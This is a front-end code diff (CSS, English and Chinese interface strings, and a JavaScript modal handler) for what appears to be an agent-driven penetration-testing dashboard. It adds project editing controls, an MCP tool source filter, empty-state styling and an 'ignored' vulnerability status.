animation: slideDown 0.3s ease-out; animation: slideDown 0.18s ease-out;
overflow: hidden; overflow: hidden;
contain: layout style paint;
} }
@keyframes slideDown { @keyframes slideDown {
@@ -4095,6 +4096,12 @@ header {
word-break: break-word; word-break: break-word;
} }
/* 长过程详情:跳过视口外时间线条目的布局/绘制,减轻大段工具输出时的主线程压力 */
.progress-timeline .timeline-item {
content-visibility: auto;
contain-intrinsic-size: auto 72px;
}
.tool-details { .tool-details {
display: flex; display: flex;
flex-direction: column; flex-direction: column;
@@ -5590,6 +5597,66 @@ header {
animation: mcpHighlight 2s ease-out; animation: mcpHighlight 2s ease-out;
} }
.external-mcp-item.clickable {
cursor: pointer;
}
.external-mcp-item.selected {
border-color: var(--accent-color);
box-shadow: 0 0 0 1px var(--accent-color);
}
.tool-item.highlight {
animation: mcpHighlight 2s ease-out;
}
.tools-source-filter-chip {
display: inline-flex;
align-items: center;
gap: 6px;
padding: 4px 8px 4px 10px;
border-radius: 999px;
background: rgba(var(--accent-rgb, 59, 130, 246), 0.12);
border: 1px solid var(--accent-color);
color: var(--text-primary);
font-size: 0.8125rem;
line-height: 1.2;
}
.tools-source-filter-clear {
display: inline-flex;
align-items: center;
justify-content: center;
width: auto;
min-width: 0;
height: auto;
padding: 0;
margin: 0;
border: none !important;
border-radius: 0;
background: transparent !important;
box-shadow: none;
color: var(--text-secondary);
cursor: pointer;
font-size: 1rem;
line-height: 1;
flex-shrink: 0;
}
.tools-actions .tools-source-filter-clear {
padding: 0;
border: none;
background: transparent;
}
.tools-source-filter-clear:hover,
.tools-actions .tools-source-filter-clear:hover {
background: transparent !important;
border: none !important;
box-shadow: none;
color: var(--text-primary);
}
@keyframes mcpHighlight { @keyframes mcpHighlight {
0% { box-shadow: 0 0 0 3px var(--accent-color); border-color: var(--accent-color); } 0% { box-shadow: 0 0 0 3px var(--accent-color); border-color: var(--accent-color); }
100% { box-shadow: none; border-color: var(--border-color); } 100% { box-shadow: none; border-color: var(--border-color); }
@@ -7130,17 +7197,68 @@ header {
stroke-width: 2; stroke-width: 2;
} }
.mcp-stats-timeline-empty,
.mcp-stats-timeline-error { .mcp-stats-timeline-error {
margin: 0; margin: 0;
padding: 20px 8px; padding: 16px 8px;
text-align: center; text-align: center;
font-size: 0.75rem; font-size: 0.75rem;
color: var(--text-muted); color: #b91c1c;
} }
.mcp-stats-timeline-error { .mcp-stats-timeline-empty-state {
color: #b91c1c; display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 6px;
flex: 1;
min-height: 88px;
padding: 20px 16px;
text-align: center;
border-radius: 8px;
background: rgba(148, 163, 184, 0.06);
border: 1px dashed rgba(148, 163, 184, 0.28);
}
.mcp-stats-timeline-empty-state--compact {
min-height: 72px;
padding: 14px 10px;
gap: 4px;
}
.mcp-stats-timeline-empty-state__icon {
color: rgba(148, 163, 184, 0.75);
flex-shrink: 0;
}
.mcp-stats-timeline-empty-state--compact .mcp-stats-timeline-empty-state__icon {
width: 28px;
height: 28px;
}
.mcp-stats-timeline-empty-state__title {
margin: 0;
font-size: 0.8125rem;
font-weight: 500;
color: var(--text-secondary);
line-height: 1.4;
}
.mcp-stats-timeline-empty-state--compact .mcp-stats-timeline-empty-state__title {
font-size: 0.75rem;
}
.mcp-stats-timeline-empty-state__hint {
margin: 0;
max-width: 28em;
font-size: 0.6875rem;
color: var(--text-muted);
line-height: 1.45;
}
.mcp-stats-timeline-empty-state--compact .mcp-stats-timeline-empty-state__hint {
font-size: 0.625rem;
max-width: 100%;
} }
.mcp-stats-timeline-tooltip { .mcp-stats-timeline-tooltip {
@@ -16630,6 +16748,12 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
border-color: rgba(148, 163, 184, 0.25); border-color: rgba(148, 163, 184, 0.25);
} }
.dashboard-recent-vuln-status.st-ignored {
background: rgba(108, 117, 125, 0.12);
color: #868e96;
border-color: rgba(108, 117, 125, 0.22);
}
@media (max-width: 720px) { @media (max-width: 720px) {
.dashboard-recent-vuln-item { .dashboard-recent-vuln-item {
grid-template-columns: 56px minmax(0, 1fr) auto 8.25rem; grid-template-columns: 56px minmax(0, 1fr) auto 8.25rem;
@@ -18704,6 +18828,11 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
color: #dc3545; color: #dc3545;
} }
.status-badge.status-ignored {
background: rgba(108, 117, 125, 0.12);
color: #868e96;
}
.vulnerability-date { .vulnerability-date {
font-size: 0.75rem; font-size: 0.75rem;
color: var(--text-muted); color: var(--text-muted);
@@ -19246,6 +19375,8 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
cursor: pointer; cursor: pointer;
transition: all 0.2s cubic-bezier(0.16, 1, 0.3, 1); transition: all 0.2s cubic-bezier(0.16, 1, 0.3, 1);
position: relative; position: relative;
min-width: 0;
overflow: hidden;
} }
.role-selection-item-main:hover { .role-selection-item-main:hover {
@@ -19308,6 +19439,10 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
margin: 0; margin: 0;
transition: color 0.2s cubic-bezier(0.16, 1, 0.3, 1); transition: color 0.2s cubic-bezier(0.16, 1, 0.3, 1);
letter-spacing: -0.01em; letter-spacing: -0.01em;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
overflow-wrap: anywhere;
} }
.role-selection-item-main.selected .role-selection-item-name-main { .role-selection-item-main.selected .role-selection-item-name-main {
@@ -19315,6 +19450,10 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
font-weight: 600; font-weight: 600;
} }
.role-selection-item-main.selected .role-selection-item-content-main {
padding-right: 24px;
}
.role-selection-item-description-main { .role-selection-item-description-main {
font-size: 0.75rem; font-size: 0.75rem;
color: #666666; color: #666666;
@@ -22386,7 +22525,10 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
} }
.projects-list-item { .projects-list-item {
position: relative; position: relative;
padding: 10px 12px 10px 14px; display: flex;
align-items: center;
gap: 4px;
padding: 10px 8px 10px 14px;
border-radius: 8px; border-radius: 8px;
cursor: pointer; cursor: pointer;
font-size: 0.875rem; font-size: 0.875rem;
@@ -22419,8 +22561,43 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
color: #94a3b8; color: #94a3b8;
} }
.projects-list-item-body { .projects-list-item-body {
flex: 1;
min-width: 0; min-width: 0;
} }
.projects-list-item-menu {
width: 24px;
height: 24px;
padding: 0;
border: none;
background: transparent;
color: var(--text-muted, #94a3b8);
cursor: pointer;
border-radius: 6px;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
font-size: 16px;
font-weight: 600;
line-height: 1;
opacity: 0;
transition: opacity 0.15s ease, background 0.15s ease, color 0.15s ease;
}
.projects-list-item:hover .projects-list-item-menu,
.projects-list-item.is-active .projects-list-item-menu {
opacity: 0.75;
}
.projects-list-item-menu:hover,
.projects-list-item-menu:focus-visible {
opacity: 1;
background: #e2e8f0;
color: var(--text-primary, #0f172a);
outline: none;
}
.projects-list-item.is-active .projects-list-item-menu:hover,
.projects-list-item.is-active .projects-list-item-menu:focus-visible {
background: #dbeafe;
}
.projects-list-item-name { .projects-list-item-name {
font-weight: 600; font-weight: 600;
color: var(--text-primary, #0f172a); color: var(--text-primary, #0f172a);
@@ -22515,21 +22692,38 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
.projects-detail-header-main { .projects-detail-header-main {
min-width: 0; min-width: 0;
flex: 1; flex: 1;
display: flex;
flex-direction: column;
gap: 6px;
} }
.projects-detail-title-row { .projects-detail-headline {
display: flex; display: flex;
align-items: center; align-items: center;
flex-wrap: wrap; flex-wrap: wrap;
gap: 10px 12px;
min-width: 0;
}
.projects-detail-title-group {
display: flex;
align-items: center;
gap: 10px; gap: 10px;
min-width: 0;
max-width: min(560px, 100%);
} }
.projects-detail-title { .projects-detail-title {
margin: 0; margin: 0;
min-width: 0;
font-size: 1.375rem; font-size: 1.375rem;
font-weight: 600; font-weight: 600;
color: #0f172a; color: #0f172a;
letter-spacing: -0.02em; letter-spacing: -0.02em;
line-height: 1.35;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
} }
.projects-status-pill { .projects-status-pill {
flex-shrink: 0;
display: inline-flex; display: inline-flex;
align-items: center; align-items: center;
font-size: 0.6875rem; font-size: 0.6875rem;
@@ -22537,41 +22731,75 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
padding: 3px 10px; padding: 3px 10px;
border-radius: 999px; border-radius: 999px;
line-height: 1.2; line-height: 1.2;
border: 1px solid transparent;
} }
.projects-status-pill--active { .projects-status-pill--active {
background: #dcfce7; background: #dcfce7;
color: #166534; color: #166534;
border-color: #86efac;
} }
.projects-status-pill--archived { .projects-status-pill--archived {
background: #f1f5f9; background: #f1f5f9;
color: #64748b; color: #64748b;
border-color: #e2e8f0;
} }
.projects-detail-meta { .projects-detail-meta {
margin: 6px 0 0; margin: 0;
font-size: 0.8125rem; font-size: 0.8125rem;
color: #94a3b8; color: #94a3b8;
line-height: 1.4;
} }
.projects-detail-desc { .projects-detail-desc {
margin: 10px 0 0; margin: 0;
max-width: min(640px, 100%);
font-size: 0.875rem; font-size: 0.875rem;
color: #475569; color: #475569;
line-height: 1.55; line-height: 1.55;
max-width: 640px; word-break: break-word;
overflow-wrap: anywhere;
display: -webkit-box;
-webkit-box-orient: vertical;
-webkit-line-clamp: 3;
overflow: hidden;
}
.projects-description-textarea {
max-height: 200px;
resize: vertical;
overflow-y: auto;
} }
.projects-detail-stats { .projects-detail-stats {
display: flex; display: flex;
flex-wrap: wrap; flex-wrap: wrap;
gap: 8px; align-items: center;
margin-top: 14px; gap: 6px;
flex-shrink: 0;
padding-left: 12px;
border-left: 1px solid #e2e8f0;
} }
.projects-stat-chip { .projects-stat-chip {
font-size: 0.75rem; font-size: 0.6875rem;
font-weight: 500; font-weight: 500;
color: #475569; color: #475569;
background: #f1f5f9; background: #f1f5f9;
border: 1px solid #e2e8f0; border: 1px solid #e2e8f0;
padding: 4px 10px; padding: 3px 8px;
border-radius: 999px; border-radius: 999px;
white-space: nowrap;
}
.projects-stat-chip--facts {
color: #1d4ed8;
background: #dbeafe;
border-color: #93c5fd;
}
.projects-stat-chip--vulns {
color: #c2410c;
background: #ffedd5;
border-color: #fdba74;
}
.projects-stat-chip--conversations {
color: #6d28d9;
background: #ede9fe;
border-color: #c4b5fd;
} }
.projects-stat-chip--warn { .projects-stat-chip--warn {
color: #92400e; color: #92400e;
@@ -22583,7 +22811,23 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
display: flex; display: flex;
flex-wrap: wrap; flex-wrap: wrap;
gap: 8px; gap: 8px;
align-items: flex-start; align-items: center;
align-self: flex-start;
margin-top: 2px;
}
@media (max-width: 860px) {
.projects-detail-header {
flex-direction: column;
align-items: stretch;
}
.projects-detail-header-actions {
align-self: stretch;
margin-top: 0;
}
.projects-detail-stats {
padding-left: 0;
border-left: none;
}
} }
.projects-tabs { .projects-tabs {
display: flex; display: flex;
@@ -23544,10 +23788,8 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
justify-content: center; justify-content: center;
padding: 24px 16px; padding: 24px 16px;
box-sizing: border-box; box-sizing: border-box;
background: rgba(15, 23, 42, 0.45); background: rgba(15, 23, 42, 0.52);
backdrop-filter: blur(4px); animation: projectsOverlayIn 0.15s ease-out;
-webkit-backdrop-filter: blur(4px);
animation: projectsOverlayIn 0.2s ease-out;
} }
@keyframes projectsOverlayIn { @keyframes projectsOverlayIn {
from { opacity: 0; } from { opacity: 0; }
@@ -23565,7 +23807,8 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
0 24px 48px rgba(15, 23, 42, 0.18), 0 24px 48px rgba(15, 23, 42, 0.18),
0 0 0 1px rgba(15, 23, 42, 0.06); 0 0 0 1px rgba(15, 23, 42, 0.06);
overflow: hidden; overflow: hidden;
animation: projectsDialogIn 0.25s cubic-bezier(0.22, 1, 0.36, 1); animation: projectsDialogIn 0.18s cubic-bezier(0.22, 1, 0.36, 1);
contain: layout style paint;
} }
.projects-modal-dialog--wide { .projects-modal-dialog--wide {
max-width: 640px; max-width: 640px;
@@ -23626,6 +23869,13 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
padding: 10px 12px; padding: 10px 12px;
font-size: 0.875rem; font-size: 0.875rem;
transition: border-color 0.15s, box-shadow 0.15s; transition: border-color 0.15s, box-shadow 0.15s;
width: 100%;
min-width: 0;
box-sizing: border-box;
}
#project-modal-name {
overflow: hidden;
text-overflow: ellipsis;
} }
.projects-modal-body .form-input:focus { .projects-modal-body .form-input:focus {
outline: none; outline: none;
@@ -23649,7 +23899,8 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
.projects-modal-footer .btn-primary { .projects-modal-footer .btn-primary {
min-width: 100px; min-width: 100px;
} }
body.projects-modal-open { body.projects-modal-open,
body.app-modal-open {
overflow: hidden; overflow: hidden;
} }
.fact-detail-prev-wrap { .fact-detail-prev-wrap {
@@ -23797,8 +24048,11 @@ body.projects-modal-open {
/* 对话区项目选择器(与角色/代理模式共用 role-selector-* */ /* 对话区项目选择器(与角色/代理模式共用 role-selector-* */
.project-selector-wrapper .role-selector-text { .project-selector-wrapper .role-selector-text {
max-width: 108px; max-width: 108px;
min-width: 0;
flex-shrink: 1;
overflow: hidden; overflow: hidden;
text-overflow: ellipsis; text-overflow: ellipsis;
white-space: nowrap;
} }
.chat-project-panel { .chat-project-panel {
width: 280px; width: 280px;
@@ -23818,6 +24072,7 @@ body.projects-modal-open {
padding-right: 0; padding-right: 0;
margin: 0; margin: 0;
width: 100%; width: 100%;
overflow-x: hidden;
} }
.chat-project-panel .role-selection-item-main { .chat-project-panel .role-selection-item-main {
width: 100%; width: 100%;
+20 -2
View File
@@ -205,6 +205,7 @@
"statusConfirmed": "Confirmed", "statusConfirmed": "Confirmed",
"statusFixed": "Fixed", "statusFixed": "Fixed",
"statusFalsePositive": "False positive", "statusFalsePositive": "False positive",
"statusIgnored": "Ignored",
"fixRate": "Fix rate", "fixRate": "Fix rate",
"dataStale": "Data may be stale — please refresh", "dataStale": "Data may be stale — please refresh",
"recommendedActions": "Recommended Actions", "recommendedActions": "Recommended Actions",
@@ -285,6 +286,8 @@
"status": "Status", "status": "Status",
"modalNewTitle": "New project", "modalNewTitle": "New project",
"modalNewSubtitle": "After creation, bind conversations to share fact board across chats", "modalNewSubtitle": "After creation, bind conversations to share fact board across chats",
"modalEditTitle": "Edit project",
"modalEditSubtitle": "Update project name and description",
"projectName": "Project name", "projectName": "Project name",
"projectNamePlaceholder": "e.g. Client A Web pentest", "projectNamePlaceholder": "e.g. Client A Web pentest",
"projectDescription": "Project description", "projectDescription": "Project description",
@@ -323,6 +326,9 @@
"statsSparse": "{{count}} incomplete", "statsSparse": "{{count}} incomplete",
"projectNotFound": "Project not found", "projectNotFound": "Project not found",
"updatedPrefix": "Updated {{time}}", "updatedPrefix": "Updated {{time}}",
"descExpand": "Show all",
"descCollapse": "Show less",
"descriptionLengthHint": "Keep it brief (max 4000 chars). Put long logs/POCs in fact board body instead.",
"noMatchingFacts": "No matching facts, try adjusting filters", "noMatchingFacts": "No matching facts, try adjusting filters",
"noFacts": "No facts yet. Click Add fact or let Agent write facts automatically", "noFacts": "No facts yet. Click Add fact or let Agent write facts automatically",
"relatedVulnIdTitle": "Related vulnerability ID", "relatedVulnIdTitle": "Related vulnerability ID",
@@ -406,6 +412,10 @@
"dangerZoneTitle": "Danger zone", "dangerZoneTitle": "Danger zone",
"dangerZoneHint": "Archived projects are hidden unless 'Show archived' is enabled; deletion removes all facts permanently.", "dangerZoneHint": "Archived projects are hidden unless 'Show archived' is enabled; deletion removes all facts permanently.",
"archiveRestore": "Archive / Restore", "archiveRestore": "Archive / Restore",
"archiveProject": "Archive",
"editProject": "Edit",
"restoreProjectActive": "Restore to active",
"projectActions": "Project actions",
"deleteProject": "Delete project", "deleteProject": "Delete project",
"saveChangesHint": "Click save to sync changes to server", "saveChangesHint": "Click save to sync changes to server",
"saveSettings": "Save changes", "saveSettings": "Save changes",
@@ -464,7 +474,7 @@
"noHistoryConversations": "No conversation history yet", "noHistoryConversations": "No conversation history yet",
"renameGroupPrompt": "Please enter new name:", "renameGroupPrompt": "Please enter new name:",
"deleteGroupConfirm": "Are you sure you want to delete this group? Conversations in the group will not be deleted, but will be removed from the group.", "deleteGroupConfirm": "Are you sure you want to delete this group? Conversations in the group will not be deleted, but will be removed from the group.",
"deleteConversationConfirm": "Are you sure you want to delete this conversation?", "deleteConversationConfirm": "Delete this conversation? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
"renameFailed": "Rename failed", "renameFailed": "Rename failed",
"downloadConversationFailed": "Failed to download conversation", "downloadConversationFailed": "Failed to download conversation",
"viewAttackChainSelectConv": "Please select a conversation to view attack chain", "viewAttackChainSelectConv": "Please select a conversation to view attack chain",
@@ -501,6 +511,8 @@
"einoStreamErrorTitle": "⚠️ Eino stream interrupted ({{agent}})", "einoStreamErrorTitle": "⚠️ Eino stream interrupted ({{agent}})",
"einoStreamErrorMessage": "Streaming read failed; the system will retry or terminate according to policy.", "einoStreamErrorMessage": "Streaming read failed; the system will retry or terminate according to policy.",
"einoRunRetryTitle": "🔁 Transient error retry", "einoRunRetryTitle": "🔁 Transient error retry",
"einoEmptyResponseContinueTitle": "🔁 Auto resume (no assistant text)",
"einoEmptyResponseContinueMessage": "Session ended without captured assistant text; resuming from trace…",
"einoRunRetryErrorDetail": "Error detail", "einoRunRetryErrorDetail": "Error detail",
"iterationLimitReachedTitle": "⛔ Iteration limit reached", "iterationLimitReachedTitle": "⛔ Iteration limit reached",
"iterationLimitReachedMessage": "Maximum iteration count reached; automatic iteration has stopped.", "iterationLimitReachedMessage": "Maximum iteration count reached; automatic iteration has stopped.",
@@ -958,6 +970,9 @@
"externalBadge": "External", "externalBadge": "External",
"externalFrom": "External ({{name}})", "externalFrom": "External ({{name}})",
"externalToolFrom": "External MCP - Source: {{name}}", "externalToolFrom": "External MCP - Source: {{name}}",
"clickToViewTools": "Click to view tools from {{name}}",
"filterBySource": "Source: {{name}}",
"clearSourceFilter": "Clear source filter",
"noDescription": "No description", "noDescription": "No description",
"paginationInfo": "{{start}}-{{end}} of {{total}} tools", "paginationInfo": "{{start}}-{{end}} of {{total}} tools",
"perPage": "Per page:", "perPage": "Per page:",
@@ -1577,6 +1592,7 @@
"timelineSummary": "{{total}} calls in range · peak {{peak}}", "timelineSummary": "{{total}} calls in range · peak {{peak}}",
"timelineSparseHint": "Most buckets are empty; peak {{peak}} calls at {{peakTime}}", "timelineSparseHint": "Most buckets are empty; peak {{peak}} calls at {{peakTime}}",
"timelineNoData": "No calls in this period", "timelineNoData": "No calls in this period",
"timelineEmptyHint": "Switch the time range or invoke MCP tools in chat or tasks",
"timelineLoadError": "Failed to load call trend", "timelineLoadError": "Failed to load call trend",
"timelineTotalLegend": "Total calls", "timelineTotalLegend": "Total calls",
"timelineFailedLegend": "Failed", "timelineFailedLegend": "Failed",
@@ -1803,6 +1819,7 @@
"statusConfirmed": "Confirmed", "statusConfirmed": "Confirmed",
"statusFixed": "Fixed", "statusFixed": "Fixed",
"statusFalsePositive": "False positive", "statusFalsePositive": "False positive",
"statusIgnored": "Ignored",
"searchVulnId": "Search vuln ID", "searchVulnId": "Search vuln ID",
"searchKeyword": "Search title, description, type, target…", "searchKeyword": "Search title, description, type, target…",
"searchKeywordShort": "Keyword", "searchKeywordShort": "Keyword",
@@ -2319,7 +2336,7 @@
"selectAll": "Select all", "selectAll": "Select all",
"deleteSelected": "Delete selected", "deleteSelected": "Delete selected",
"confirmDeleteNone": "Please select at least one conversation to delete", "confirmDeleteNone": "Please select at least one conversation to delete",
"confirmDeleteN": "Delete {{count}} selected conversation(s)?", "confirmDeleteN": "Delete {{count}} selected conversation(s)? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
"deleteFailed": "Delete failed", "deleteFailed": "Delete failed",
"unnamedConversation": "Unnamed conversation" "unnamedConversation": "Unnamed conversation"
}, },
@@ -2465,6 +2482,7 @@
"statusConfirmed": "Confirmed", "statusConfirmed": "Confirmed",
"statusFixed": "Fixed", "statusFixed": "Fixed",
"statusFalsePositive": "False positive", "statusFalsePositive": "False positive",
"statusIgnored": "Ignored",
"type": "Vulnerability type", "type": "Vulnerability type",
"typePlaceholder": "e.g. SQL injection, XSS, CSRF", "typePlaceholder": "e.g. SQL injection, XSS, CSRF",
"target": "Target", "target": "Target",
+20 -2
View File
@@ -198,6 +198,7 @@
"statusConfirmed": "已确认", "statusConfirmed": "已确认",
"statusFixed": "已修复", "statusFixed": "已修复",
"statusFalsePositive": "误报", "statusFalsePositive": "误报",
"statusIgnored": "已忽略",
"fixRate": "修复率", "fixRate": "修复率",
"dataStale": "数据可能已过期,请手动刷新", "dataStale": "数据可能已过期,请手动刷新",
"recommendedActions": "推荐操作", "recommendedActions": "推荐操作",
@@ -273,6 +274,8 @@
"status": "状态", "status": "状态",
"modalNewTitle": "新建项目", "modalNewTitle": "新建项目",
"modalNewSubtitle": "创建后可绑定对话,跨会话共享事实黑板", "modalNewSubtitle": "创建后可绑定对话,跨会话共享事实黑板",
"modalEditTitle": "编辑项目",
"modalEditSubtitle": "修改项目名称与描述",
"projectName": "项目名称", "projectName": "项目名称",
"projectNamePlaceholder": "例如:某客户 Web 渗透", "projectNamePlaceholder": "例如:某客户 Web 渗透",
"projectDescription": "项目描述", "projectDescription": "项目描述",
@@ -311,6 +314,9 @@
"statsSparse": "{{count}} 待补全", "statsSparse": "{{count}} 待补全",
"projectNotFound": "项目不存在", "projectNotFound": "项目不存在",
"updatedPrefix": "更新于 {{time}}", "updatedPrefix": "更新于 {{time}}",
"descExpand": "展开全部",
"descCollapse": "收起",
"descriptionLengthHint": "简要说明即可(最多 4000 字);大段日志/POC 请写入事实黑板 body",
"noMatchingFacts": "无匹配事实,请调整筛选条件", "noMatchingFacts": "无匹配事实,请调整筛选条件",
"noFacts": "暂无事实,点击「添加事实」或由 Agent 自动写入", "noFacts": "暂无事实,点击「添加事实」或由 Agent 自动写入",
"relatedVulnIdTitle": "关联漏洞 ID", "relatedVulnIdTitle": "关联漏洞 ID",
@@ -394,6 +400,10 @@
"dangerZoneTitle": "危险操作", "dangerZoneTitle": "危险操作",
"dangerZoneHint": "归档后需在列表勾选「显示已归档」才能查看;删除将清除全部事实且不可恢复。", "dangerZoneHint": "归档后需在列表勾选「显示已归档」才能查看;删除将清除全部事实且不可恢复。",
"archiveRestore": "归档 / 恢复", "archiveRestore": "归档 / 恢复",
"archiveProject": "归档",
"editProject": "编辑",
"restoreProjectActive": "恢复为进行中",
"projectActions": "项目操作",
"deleteProject": "删除项目", "deleteProject": "删除项目",
"saveChangesHint": "修改后请点击保存以同步到服务器", "saveChangesHint": "修改后请点击保存以同步到服务器",
"saveSettings": "保存更改", "saveSettings": "保存更改",
@@ -452,7 +462,7 @@
"noHistoryConversations": "暂无历史对话", "noHistoryConversations": "暂无历史对话",
"renameGroupPrompt": "请输入新名称:", "renameGroupPrompt": "请输入新名称:",
"deleteGroupConfirm": "确定要删除此分组吗?分组中的对话不会被删除,但会从分组中移除。", "deleteGroupConfirm": "确定要删除此分组吗?分组中的对话不会被删除,但会从分组中移除。",
"deleteConversationConfirm": "确定要删除此对话吗?", "deleteConversationConfirm": "确定要删除此对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。",
"renameFailed": "重命名失败", "renameFailed": "重命名失败",
"downloadConversationFailed": "下载对话失败", "downloadConversationFailed": "下载对话失败",
"viewAttackChainSelectConv": "请选择一个对话以查看攻击链", "viewAttackChainSelectConv": "请选择一个对话以查看攻击链",
@@ -489,6 +499,8 @@
"einoStreamErrorTitle": "⚠️ Eino 流式中断({{agent}}", "einoStreamErrorTitle": "⚠️ Eino 流式中断({{agent}}",
"einoStreamErrorMessage": "流式读取异常,系统将按策略重试或结束。", "einoStreamErrorMessage": "流式读取异常,系统将按策略重试或结束。",
"einoRunRetryTitle": "🔁 临时错误重试", "einoRunRetryTitle": "🔁 临时错误重试",
"einoEmptyResponseContinueTitle": "🔁 自动续跑(无助手正文)",
"einoEmptyResponseContinueMessage": "会话已结束但未捕获到助手正文,正在基于轨迹自动续跑…",
"einoRunRetryErrorDetail": "具体报错", "einoRunRetryErrorDetail": "具体报错",
"iterationLimitReachedTitle": "⛔ 达到迭代上限", "iterationLimitReachedTitle": "⛔ 达到迭代上限",
"iterationLimitReachedMessage": "已达到最大迭代次数,任务已停止继续自动迭代。", "iterationLimitReachedMessage": "已达到最大迭代次数,任务已停止继续自动迭代。",
@@ -946,6 +958,9 @@
"externalBadge": "外部", "externalBadge": "外部",
"externalFrom": "外部 ({{name}})", "externalFrom": "外部 ({{name}})",
"externalToolFrom": "外部MCP工具 - 来源:{{name}}", "externalToolFrom": "外部MCP工具 - 来源:{{name}}",
"clickToViewTools": "点击查看 {{name}} 的工具",
"filterBySource": "来源: {{name}}",
"clearSourceFilter": "清除来源筛选",
"noDescription": "无描述", "noDescription": "无描述",
"paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 个工具", "paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 个工具",
"perPage": "每页:", "perPage": "每页:",
@@ -1565,6 +1580,7 @@
"timelineSummary": "区间内 {{total}} 次 · 峰值 {{peak}}", "timelineSummary": "区间内 {{total}} 次 · 峰值 {{peak}}",
"timelineSparseHint": "该时段多数时间为 0,峰值 {{peak}} 次出现在 {{peakTime}}", "timelineSparseHint": "该时段多数时间为 0,峰值 {{peak}} 次出现在 {{peakTime}}",
"timelineNoData": "该时段暂无调用", "timelineNoData": "该时段暂无调用",
"timelineEmptyHint": "切换时间范围查看其他时段,或在对话/任务中调用 MCP 工具",
"timelineLoadError": "无法加载调用趋势", "timelineLoadError": "无法加载调用趋势",
"timelineTotalLegend": "总调用", "timelineTotalLegend": "总调用",
"timelineFailedLegend": "失败", "timelineFailedLegend": "失败",
@@ -1791,6 +1807,7 @@
"statusConfirmed": "已确认", "statusConfirmed": "已确认",
"statusFixed": "已修复", "statusFixed": "已修复",
"statusFalsePositive": "误报", "statusFalsePositive": "误报",
"statusIgnored": "已忽略",
"searchVulnId": "搜索漏洞 ID", "searchVulnId": "搜索漏洞 ID",
"searchKeyword": "搜索标题、描述、类型、目标…", "searchKeyword": "搜索标题、描述、类型、目标…",
"searchKeywordShort": "关键词", "searchKeywordShort": "关键词",
@@ -2307,7 +2324,7 @@
"selectAll": "全选", "selectAll": "全选",
"deleteSelected": "删除所选", "deleteSelected": "删除所选",
"confirmDeleteNone": "请先选择要删除的对话", "confirmDeleteNone": "请先选择要删除的对话",
"confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗?", "confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。",
"deleteFailed": "删除失败", "deleteFailed": "删除失败",
"unnamedConversation": "未命名对话" "unnamedConversation": "未命名对话"
}, },
@@ -2453,6 +2470,7 @@
"statusConfirmed": "已确认", "statusConfirmed": "已确认",
"statusFixed": "已修复", "statusFixed": "已修复",
"statusFalsePositive": "误报", "statusFalsePositive": "误报",
"statusIgnored": "已忽略",
"type": "漏洞类型", "type": "漏洞类型",
"typePlaceholder": "如:SQL注入、XSS、CSRF等", "typePlaceholder": "如:SQL注入、XSS、CSRF等",
"target": "目标", "target": "目标",
+20 -17
View File
@@ -105,45 +105,48 @@ function showAddMarkdownAgentModal() {
document.getElementById('agent-md-bind-role').value = ''; document.getElementById('agent-md-bind-role').value = '';
document.getElementById('agent-md-max-iter').value = '0'; document.getElementById('agent-md-max-iter').value = '0';
document.getElementById('agent-md-instruction').value = ''; document.getElementById('agent-md-instruction').value = '';
if (modal) modal.style.display = 'flex'; openAppModal('agent-md-modal');
} }
async function editMarkdownAgent(filename) { async function editMarkdownAgent(filename) {
if (!filename) return; if (!filename) return;
const modal = document.getElementById('agent-md-modal');
const title = document.getElementById('agent-md-modal-title'); const title = document.getElementById('agent-md-modal-title');
const row = document.getElementById('agent-md-filename-row'); const row = document.getElementById('agent-md-filename-row');
markdownAgentsEditingFilename = null; markdownAgentsEditingFilename = null;
markdownAgentsEditingIsOrchestrator = false; markdownAgentsEditingIsOrchestrator = false;
if (title) title.textContent = _agentsT('agentsPage.editTitle'); if (title) title.textContent = _agentsT('agentsPage.editTitle');
if (row) row.style.display = 'none'; if (row) row.style.display = 'none';
document.getElementById('agent-md-instruction').value = '';
openAppModal('agent-md-modal', { focus: false });
try { try {
const r = await apiFetch('/api/multi-agent/markdown-agents/' + encodeURIComponent(filename)); const r = await apiFetch('/api/multi-agent/markdown-agents/' + encodeURIComponent(filename));
const data = await r.json(); const data = await r.json();
if (!r.ok) throw new Error(data.error || r.statusText); if (!r.ok) throw new Error(data.error || r.statusText);
markdownAgentsEditingFilename = data.filename || filename; markdownAgentsEditingFilename = data.filename || filename;
markdownAgentsEditingIsOrchestrator = !!data.is_orchestrator; markdownAgentsEditingIsOrchestrator = !!data.is_orchestrator;
document.getElementById('agent-md-filename-current').value = data.filename || filename; deferModalContent(function () {
document.getElementById('agent-md-filename').value = data.filename || filename; document.getElementById('agent-md-filename-current').value = data.filename || filename;
document.getElementById('agent-md-filename').disabled = true; document.getElementById('agent-md-filename').value = data.filename || filename;
var roleEl2 = document.getElementById('agent-md-role'); document.getElementById('agent-md-filename').disabled = true;
if (roleEl2) roleEl2.value = data.is_orchestrator ? 'orchestrator' : 'sub'; var roleEl2 = document.getElementById('agent-md-role');
document.getElementById('agent-md-id').value = data.id || ''; if (roleEl2) roleEl2.value = data.is_orchestrator ? 'orchestrator' : 'sub';
